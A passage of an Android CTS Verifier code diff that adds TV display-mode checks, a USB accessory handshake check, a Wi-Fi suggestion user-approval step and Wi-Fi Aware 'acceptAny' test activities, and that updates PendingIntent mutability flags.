+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            getAsserter()
+                    .withMessage("Display.getMode()")
+                    .about(MODE_SUBJECT_FACTORY)
+                    .that(display.getMode())
+                    .isEquivalentToAnyOf(
+                            REFRESH_RATE_PRECISION,
+                            new Mode(3840, 2160, 60f),
+                            new Mode(3840, 2160, 50f));
+
+            Mode[] expected2160pSupportedModes =
+                    new Mode[] {
+                        new Mode(720, 480, 60f),
+                        new Mode(720, 576, 50f),
+                        // 720p modes
+                        new Mode(1280, 720, 50f),
+                        new Mode(1280, 720, 60f),
+                        // 1080p modes
+                        new Mode(1920, 1080, 24f),
+                        new Mode(1920, 1080, 25f),
+                        new Mode(1920, 1080, 30f),
+                        new Mode(1920, 1080, 50f),
+                        new Mode(1920, 1080, 60f),
+                        // 2160p modes
+                        new Mode(3840, 2160, 24f),
+                        new Mode(3840, 2160, 25f),
+                        new Mode(3840, 2160, 30f),
+                        new Mode(3840, 2160, 50f),
+                        new Mode(3840, 2160, 60f)
+                    };
+            getAsserter()
+                    .withMessage("Display.getSupportedModes()")
+                    .that(Arrays.asList(display.getSupportedModes()))
+                    .comparingElementsUsing(MODE_CORRESPONDENCE)
+                    .containsAtLeastElementsIn(expected2160pSupportedModes);
+        }
+    }
+
+    private static class Display1080pTestStep extends SyncTestStep {
+        public Display1080pTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_display_modes_test_step_1080p,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_display_modes_connect_1080p_display,
+                    context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+
+            getAsserter()
+                    .withMessage("Display.getMode()")
+                    .about(MODE_SUBJECT_FACTORY)
+                    .that(display.getMode())
+                    .isEquivalentToAnyOf(
+                            REFRESH_RATE_PRECISION,
+                            new Mode(1920, 1080, 60f),
+                            new Mode(1920, 1080, 50f));
+
+            final Mode[] expected1080pSupportedModes =
+                    new Mode[] {
+                        new Mode(720, 480, 60f),
+                        new Mode(720, 576, 50f),
+                        // 720p modes
+                        new Mode(1280, 720, 50f),
+                        new Mode(1280, 720, 60f),
+                        // 1080p modes
+                        new Mode(1920, 1080, 24f),
+                        new Mode(1920, 1080, 25f),
+                        new Mode(1920, 1080, 30f),
+                        new Mode(1920, 1080, 50f),
+                        new Mode(1920, 1080, 60f),
+                    };
+            getAsserter()
+                    .withMessage("Display.getSupportedModes()")
+                    .that(Arrays.asList(display.getSupportedModes()))
+                    .comparingElementsUsing(MODE_CORRESPONDENCE)
+                    .containsAtLeastElementsIn(expected1080pSupportedModes);
+        }
+    }
+
+    private static class TvPanelReportedModesAreSupportedTestStep extends YesNoTestStep {
+        public TvPanelReportedModesAreSupportedTestStep(TvAppVerifierActivity context) {
+            super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
+        }
+
+        private static String getInstructionText(Context context) {
+            DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            String supportedModes =
+                    Arrays.stream(display.getSupportedModes())
+                            .map(DisplayModesTestActivity::formatDisplayMode)
+                            .collect(Collectors.joining("\n"));
+
+            return context.getString(
+                    R.string.tv_panel_display_modes_reported_are_supported, supportedModes);
+        }
+    }
+
+    private static class TvPanelSupportedModesAreReportedTestStep extends YesNoTestStep {
+        public TvPanelSupportedModesAreReportedTestStep(TvAppVerifierActivity context) {
+            super(context, getInstructionText(context), R.string.tv_no, R.string.tv_yes);
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(R.string.tv_panel_display_modes_supported_are_reported);
+        }
+    }
+
+    // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
+    // we want to use fuzzy comparison for frame rates which is not used in Display.Mode.equals().
+    private static class Mode {
+        public int mWidth;
+        public int mHeight;
+        public float mRefreshRate;
+
+        public Mode(int width, int height, float refreshRate) {
+            this.mWidth = width;
+            this.mHeight = height;
+            this.mRefreshRate = refreshRate;
+        }
+
+        public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
+            return mHeight == displayMode.getPhysicalHeight()
+                    && mWidth == displayMode.getPhysicalWidth()
+                    && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
+        }
+
+        @Override
+        public String toString() {
+            return formatDisplayMode(mWidth, mHeight, mRefreshRate);
+        }
+    }
+
+    private static class ModeSubject extends Subject {
+        private final Display.Mode mActual;
+
+        public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
+            super(failureMetadata, subject);
+            mActual = subject;
+        }
+
+        public void isEquivalentToAnyOf(final float refreshRatePrecision, Mode... modes) {
+            boolean found = Arrays.stream(modes)
+                    .anyMatch(mode -> mode.isEquivalent(mActual, refreshRatePrecision));
+            if (!found) {
+                failWithActual("expected any of", Arrays.toString(modes));
+            }
+        }
+    }
+
+    private static String formatDisplayMode(Display.Mode mode) {
+        return formatDisplayMode(
+                mode.getPhysicalWidth(), mode.getPhysicalHeight(), mode.getRefreshRate());
+    }
+
+    private static String formatDisplayMode(int width, int height, float refreshRate) {
+        return String.format("%dx%d %.2f Hz", width, height, refreshRate);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index 9220001..512162c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -23,6 +23,10 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.hardware.usb.UsbAccessory;
 import android.hardware.usb.UsbManager;
 import android.os.AsyncTask;
@@ -49,6 +53,8 @@
 import java.nio.charset.Charset;
 import java.util.Arrays;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Guide the user to run test for the USB accessory interface.
@@ -63,6 +69,11 @@
     private TextView mStatus;
     private ProgressBar mProgress;
 
+    private BroadcastReceiver mUsbAccessoryHandshakeReceiver;
+
+    private Boolean mAccessoryStart = false;
+    private CompletableFuture<Void> mAccessoryHandshakeIntent = new CompletableFuture<>();
+
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -78,6 +89,22 @@
         getPassButton().setEnabled(false);
 
         AccessoryAttachmentHandler.addObserver(this);
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(UsbManager.ACTION_USB_ACCESSORY_HANDSHAKE);
+
+        mUsbAccessoryHandshakeReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (UsbAccessoryTestActivity.this) {
+                    mAccessoryStart = intent.getBooleanExtra(
+                            UsbManager.EXTRA_ACCESSORY_START, false);
+                    mAccessoryHandshakeIntent.complete(null);
+                }
+            }
+        };
+
+        registerReceiver(mUsbAccessoryHandshakeReceiver, filter);
     }
 
     @Override
@@ -85,6 +112,8 @@
         mStatus.setText(R.string.usb_accessory_test_step2);
         mProgress.setVisibility(View.VISIBLE);
 
+        final long accessroyStarTime = 3 * 1000;
+
         AccessoryAttachmentHandler.removeObserver(this);
 
         UsbManager usbManager = getSystemService(UsbManager.class);
@@ -243,6 +272,15 @@
                                     ResultUnit.KBPS);
                             Log.i(LOG_TAG, "Read data transfer speed is " + speedKBPS + "KBPS");
 
+                            nextTest(is, os, "Receive USB_ACCESSORY_HANDSHAKE intent");
+
+                            mAccessoryHandshakeIntent.get(accessroyStarTime,
+                                    TimeUnit.MILLISECONDS);
+                            assertTrue(mAccessoryStart);
+
+                            unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+                            mUsbAccessoryHandshakeReceiver = null;
+
                             nextTest(is, os, "done");
                         }
                     }
@@ -300,6 +338,10 @@
     protected void onDestroy() {
         AccessoryAttachmentHandler.removeObserver(this);
 
+        if (mUsbAccessoryHandshakeReceiver != null) {
+            unregisterReceiver(mUsbAccessoryHandshakeReceiver);
+        }
+
         super.onDestroy();
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 4bbcddc..faee07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -151,7 +151,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                            new Intent(ACTION_USB_PERMISSION), 0));
+                                            new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                         case ACTION_USB_PERMISSION:
                             boolean granted = intent.getBooleanExtra(
@@ -1588,7 +1588,7 @@
 
                             mUsbManager.requestPermission(device,
                                     PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
-                                         new Intent(ACTION_USB_PERMISSION), 0));
+                                         new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
                             break;
                     }
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index fa42d82..434540e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -261,7 +261,7 @@
             mUsbManager.requestPermission(
                     mUsbDevice,
                     PendingIntent.getBroadcast(
-                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+                            MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), PendingIntent.FLAG_MUTABLE_UNAUDITED));
 
             latch.await();
             assertTrue(mUsbManager.hasPermission(mUsbDevice));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 74146f1..23477c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -279,14 +279,14 @@
         pass.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         pass.setData(Uri.parse(pass.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent passPendingIntent = PendingIntent.getBroadcast(context, 0, pass,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         final Intent fail = new Intent(context, WidgetCtsProvider.class);
         fail.setAction(WidgetCtsProvider.FAIL);
         fail.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
         fail.setData(Uri.parse(fail.toUri(Intent.URI_INTENT_SCHEME)));
         final PendingIntent failPendingIntent = PendingIntent.getBroadcast(context, 0, fail,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         rv.setOnClickPendingIntent(R.id.pass, passPendingIntent);
         rv.setOnClickPendingIntent(R.id.fail, failPendingIntent);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/OWNERS
index 28faebd..7d9d0f9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 33618
 dysu@google.com
 etancohen@google.com
-rpius@google.com
 satk@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 49d5d80..5b19e7b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -39,6 +39,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.wifi.BaseTestCase;
 import com.android.cts.verifier.wifi.CallbackUtils;
@@ -75,8 +77,10 @@
     private NetworkRequest mNetworkRequest;
     private CallbackUtils.NetworkCallback mNetworkCallback;
     private ConnectionStatusListener mConnectionStatusListener;
+    private UserApprovalStatusListener mUserApprovalStatusListener;
     private BroadcastReceiver mBroadcastReceiver;
     private String mFailureReason;
+    private int mUserApprovedStatus = WifiManager.STATUS_SUGGESTION_APPROVAL_UNKNOWN;
 
     private final boolean mSetBssid;
     private final boolean mSetRequiresAppInteraction;
@@ -156,6 +160,24 @@
         }
     }
 
+    private class UserApprovalStatusListener implements
+            WifiManager.SuggestionUserApprovalStatusListener{
+        private final CountDownLatch mCountDownLatch;
+
+        UserApprovalStatusListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+        @Override
+        public void onUserApprovalStatusChange(int status) {
+            mUserApprovedStatus = status;
+            if (status == WifiManager.STATUS_SUGGESTION_APPROVAL_PENDING
+                    || status == WifiManager.STATUS_SUGGESTION_APPROVAL_UNKNOWN) {
+                return;
+            }
+            mCountDownLatch.countDown();
+        }
+    }
+
     // TODO(b/150890482): Capabilities changed callback can occur multiple times (for ex: RSSI
     // change) & the sufficiency checks may result in ths change taking longer to take effect.
     // This method accounts for both of these situations.
@@ -219,6 +241,15 @@
         mWifiManager.addSuggestionConnectionStatusListener(
                 Executors.newSingleThreadExecutor(), mConnectionStatusListener);
 
+        final CountDownLatch userApprovalCountDownLatch = new CountDownLatch(1);
+        if (BuildCompat.isAtLeastS()) {
+            mUserApprovalStatusListener = new UserApprovalStatusListener(
+                    userApprovalCountDownLatch);
+            mWifiManager.addSuggestionUserApprovalStatusListener(
+                    Executors.newSingleThreadExecutor(), mUserApprovalStatusListener);
+
+        }
+
         // Step: Register network callback to wait for connection state.
         mNetworkRequest = new NetworkRequest.Builder()
                 .addTransportType(TRANSPORT_WIFI)
@@ -238,6 +269,27 @@
             setFailureReason(mContext.getString(R.string.wifi_status_suggestion_add_failure));
             return false;
         }
+        // Step: Ask user to approval the suggestion.
+        if (BuildCompat.isAtLeastS()) {
+            if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                mListener.onTestMsgReceived(mContext.getString(
+                        R.string.wifi_status_suggestion_wait_for_user_approval));
+            }
+            if (!userApprovalCountDownLatch.await(CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                setFailureReason(mContext.getString(
+                        R.string.wifi_status_suggestion_user_approval_status_failure));
+                return false;
+            }
+            if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+                setFailureReason(mContext.getString(
+                        R.string.wifi_status_suggestion_user_approve_failure));
+                return false;
+            }
+        } else {
+            mListener.onTestMsgReceived(mContext.getString(
+                    R.string.wifi_status_suggestion_wait_for_user_approval));
+        }
+
         if (DBG) Log.v(TAG, "Getting suggestion");
         List<WifiNetworkSuggestion> retrievedSuggestions = mWifiManager.getNetworkSuggestions();
         if (!Objects.equals(mNetworkSuggestions, retrievedSuggestions)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
index d560702..888c4cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
@@ -27,6 +27,6 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
-                /* isUnsolicited */ false, /* usePmk */ false);
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
index 78562ac..9bfd9d1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
@@ -27,6 +27,6 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
-                /* isUnsolicited */ true, /* usePmk */ false);
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..0888e5e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, solicited publish
+ */
+public class DataPathOpenSolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_open_solicited_publish,
+                R.string.aware_data_path_open_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
index c3007b5..2bd5313 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
@@ -29,7 +29,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
-                /* isUnsolicited */ false, /* usePmk */ false);
+                /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..ed9e17a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathOpenUnsolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_open_unsolicited_publish,
+                R.string.aware_data_path_open_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
index 6c49635..6d7e8ca 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
@@ -29,7 +29,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
-                /* isUnsolicited */ true, /* usePmk */ false);
+                /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
index a8205a8..e5f77e9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false);
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
index d8d9a3f..46413c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
@@ -27,6 +27,7 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false);
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..2a24d85
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, solicited publish
+ */
+public class DataPathPassphraseSolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_passphrase_solicited_publish,
+                R.string.aware_data_path_passphrase_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
index e820428..9c06b5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false);
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..2616357
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, passphrase, unsolicited publish
+ */
+public class DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_passphrase_unsolicited_publish,
+                R.string.aware_data_path_passphrase_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
index ab17432..601f75b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
